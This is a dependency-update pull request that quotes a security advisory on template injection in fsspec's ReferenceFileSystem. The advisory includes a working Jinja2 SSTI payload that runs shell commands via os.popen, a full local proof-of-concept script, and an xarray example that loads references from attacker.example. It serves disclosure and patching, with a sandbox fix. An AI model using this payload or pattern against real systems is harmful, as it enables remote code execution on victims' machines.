Skip to content

fix(deps): update dependency fsspec to v2026 [security] - #381

Open
dreadnode-renovate-bot[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-fsspec-vulnerability
Open

dreadnode-renovate-bot[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-fsspec-vulnerability

Conversation

@dreadnode-renovate-bot

@dreadnode-renovate-bot dreadnode-renovate-bot Bot commented Oct 21, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
fsspec (changelog) >=2023.1.0,<=2025.12.0 → >=2026.6.0,<=2026.6.0 age confidence

fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution

CVE-2026-104851 / GHSA-27vj-qcqg-25rc

More information

Details

Summary

fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.

This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.

Affected versions

All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.

Affected sinks

All in fsspec/implementations/reference.py:

Sink Location Trigger
A — _process_references1._render_jinja lines 1016-1018 simple_templates=False and a refs entry contains {{
B — _process_templates (lambda) lines 1043-1053 templates dict has values containing {{, invoked later via render context
C — _process_gen lines 1075-1083 references JSON contains a gen array (always reached, regardless of simple_templates)

Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.

The vulnerable code:

##### fsspec/implementations/reference.py
##### Sink A
@lru_cache(1000)
def _render_jinja(u):
    return jinja2.Template(u).render(**self.templates)  # <- unsandboxed

##### Sink B
def _process_templates(self, tmp):
    ...
    for k, v in tmp.items():
        if "{{" in v:
            import jinja2
            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
                temp                                       # <- unsandboxed
            ).render(**kwargs)

##### Sink C
def _process_gen(self, gens):
    ...
    for pr in products:
        import jinja2
        key = jinja2.Template(gen["key"]).render(**pr, **self.templates)        # <- unsandboxed
        url = jinja2.Template(gen["url"]).render(**pr, **self.templates)        # <- unsandboxed
        if ("offset" in gen) and ("length" in gen):
            offset = int(jinja2.Template(gen["offset"]).render(...))            # <- unsandboxed
            length = int(jinja2.Template(gen["length"]).render(...))            # <- unsandboxed
Proof of concept (Sink C, minimal)

Save as poc.py:

import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
    "version": 1, "templates": {}, "refs": {"x": "x"},
    "gen": [{
        "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
        "offset": "0", "length": "0", "dimensions": {"i": [0]},
    }],
}

body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"

for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
    fsspec.filesystem("reference", fo=url)
except Exception as e:
    print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))

Run:

pip install fsspec aiohttp requests jinja2
python3 poc.py

##### → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
    "reference://",
    engine="zarr",
    backend_kwargs={
        "consolidated": False,
        "storage_options": {
            "fo": "http://attacker.example/refs.json",
            "remote_protocol": "http",
        },
    },
)

##### RCE fires before any data is materialised.
Tested on
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact

fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.

Realistic attack vectors:

  • A user opens a community-shared Kerchunk catalogue link via xarray/dask.
  • A managed data-science platform (notebook server, batch job runner)
    ingests user-submitted Kerchunk URLs.
  • A workflow downloads a catalogue from a bucket whose contents have
    been tampered with (supply chain).

In every case, the victim performs no action beyond opening a "reference
filesystem" — there is no documented expectation that a data catalogue
can execute arbitrary Python code.

Suggested fix

Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.

##### At module top
def _sandboxed_env():
    import jinja2.sandbox
    env = getattr(_sandboxed_env, "_env", None)
    if env is None:
        env = jinja2.sandbox.ImmutableSandboxedEnvironment()
        _sandboxed_env._env = env
    return env

Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).

The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.

A complete patch is available on request.

Credit

Reported by Dany.A

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

fsspec/filesystem_spec (fsspec)

v2026.6.0

Compare Source

v2026.4.0

Compare Source

v2026.3.0

Compare Source

v2026.2.0

Compare Source

v2026.1.0

Compare Source

v2025.12.0

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

@dreadnode-renovate-bot

dreadnode-renovate-bot Bot commented Oct 21, 2026 •

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: uv.lock
Using CPython 3.13.18 interpreter at: /opt/containerbase/tools/python/3.13.18/bin/python3
error: No solution found when resolving dependencies for split (markers: python_full_version >= '3.12' and python_full_version < '3.14')
  cause: Because datasets==4.0.0 depends on fsspec[http]>=2023.1.0,<=2025.3.0 and datasets>=4.1.0,<=4.3.0 depends on fsspec[http]>=2023.1.0,<=2025.9.0, we can conclude that datasets>=4.0.0,<=4.3.0 depends on fsspec[http]>=2023.1.0,<=2025.9.0.
         And because datasets>=4.4.0,<=4.5.0 depends on fsspec[http]>=2023.1.0,<=2025.10.0, we can conclude that datasets>=4.0.0,<=4.5.0 depends on fsspec[http]>=2023.1.0,<=2025.10.0.
         And because datasets>=4.6.0,<=4.8.5 depends on fsspec[http]>=2023.1.0,<=2026.2.0 and dreadnode[all] depends on datasets>=4.0.0,<5.0.0, we can conclude that dreadnode[all] depends on fsspec>=2023.1.0,<=2026.2.0.
         And because your project depends on fsspec[s3]==2026.6.0 and your project requires dreadnode[all], we can conclude that your project's requirements are unsatisfiable.

@dreadnode-renovate-bot dreadnode-renovate-bot Bot added area/python Changes to Python package configuration and dependencies type/digest Dependency digest updates labels Oct 21, 2026
@dreadnode-renovate-bot
dreadnode-renovate-bot Bot force-pushed the renovate/pypi-fsspec-vulnerability branch from 77a6f71 to a28dead Compare November 8, 2026 00:24
| datasource | package | from      | to       |
| ---------- | ------- | --------- | -------- |
| pypi       | fsspec  | 2025.10.0 | 2026.6.0 |
@dreadnode-renovate-bot
dreadnode-renovate-bot Bot force-pushed the renovate/pypi-fsspec-vulnerability branch from a28dead to eca0df8 Compare November 11, 2026 00:18

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/python Changes to Python package configuration and dependencies type/digest Dependency digest updates

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants